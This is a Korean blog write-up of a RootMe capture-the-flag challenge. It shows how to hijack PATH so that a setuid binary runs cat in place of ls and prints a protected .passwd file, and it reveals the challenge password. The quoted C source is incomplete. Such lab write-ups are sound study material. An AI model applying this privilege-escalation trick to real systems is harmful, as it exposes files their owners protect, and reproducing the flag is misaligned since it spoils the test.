2019. 3. 23. 08:13ㆍ0x04 pwnable/RootMe
- 문제 파악 : ls 이지만, .passwd를 읽어야 한다.
- #include <stdlib.h>
- #include <stdio.h>
- /* gcc -m32 -o ch11 ch11.c */
- int main(void)
- {
- return 0;
- }
권한 파악 : app-script-ch11-cracked는 .passwd 읽는 권한이 있다.
app-script-ch11@challenge02:~$ ls -al
total 24
dr-xr-x--- 2 app-script-ch11-cracked app-script-ch11 4096 Aug 11 2015 .
drwxr-xr-x 18 root root 4096 Feb 28 21:15 ..
-r--r----- 1 app-script-ch11-cracked app-script-ch11-cracked 14 Feb 8 2012 .passwd
-r-sr-x--- 1 app-script-ch11-cracked app-script-ch11 7160 Aug 11 2015 ch11
-r--r----- 1 app-script-ch11 app-script-ch11 153 Aug 11 2015 ch11.c
소스 코드를 보면, ls 명령어를 썼기 때문에 읽을 수 없다. 하지만, 변경이 가능하다 ^.^
tmp에 ln -s 명령어로 링커를 만들어 둔다.
app-script-ch11@challenge02:/tmp/con$ ln -s ~/ch11
app-script-ch11@challenge02:/tmp/con$ ls
ch11
app-script-ch11@challenge02:/tmp/con$ ls -al
total 2124
drwxrwx-wt 101 root root 2166784 Mar 23 00:06 ..
lrwxrwxrwx 1 app-script-ch11 app-script-ch11 31 Mar 23 00:06 ch11 -> /challenge/app-script/ch11/ch11
/bin/ls는 root 권한을 가지고 있다.
이를 복사한다. 그럼 app-script-ch11(User) 권한을 얻게 된다.
app-script-ch11@challenge02:/tmp/con$ cp /bin/cat ./
app-script-ch11@challenge02:/tmp/con$ ls -al
total 2172
drwxr-x--- 2 app-script-ch11 app-script-ch11 4096 Mar 23 00:10 .
drwxrwx-wt 101 root root 2166784 Mar 23 00:10 ..
-rwxr-x--- 1 app-script-ch11 app-script-ch11 46884 Mar 23 00:10 cat
app-script-ch11@challenge02:/tmp$ cp /bin/cat /tmp/ls
app-script-ch11@challenge02:/tmp$ PATH=/tmp
app-script-ch11@challenge02:/tmp$ echo $PATH
/tmp
app-script-ch11@challenge02:/tmp$ ./ch11
ls: /challenge/app-script/ch11/.passwd: Permission denied
app-script-ch11@challenge02:/tmp$ ls -al
ls: unrecognized option '--color=auto'
Try 'ls --help' for more information.
app-script-ch11@challenge02:/tmp$ cd con
app-script-ch11@challenge02:/tmp/con$ ./ch11
!oPe96a/.s8d5
'0x04 pwnable > RootMe' 카테고리의 다른 글
ELF x86 - Stack buffer overflow basic 4 (0) | 2019.03.23 |
---|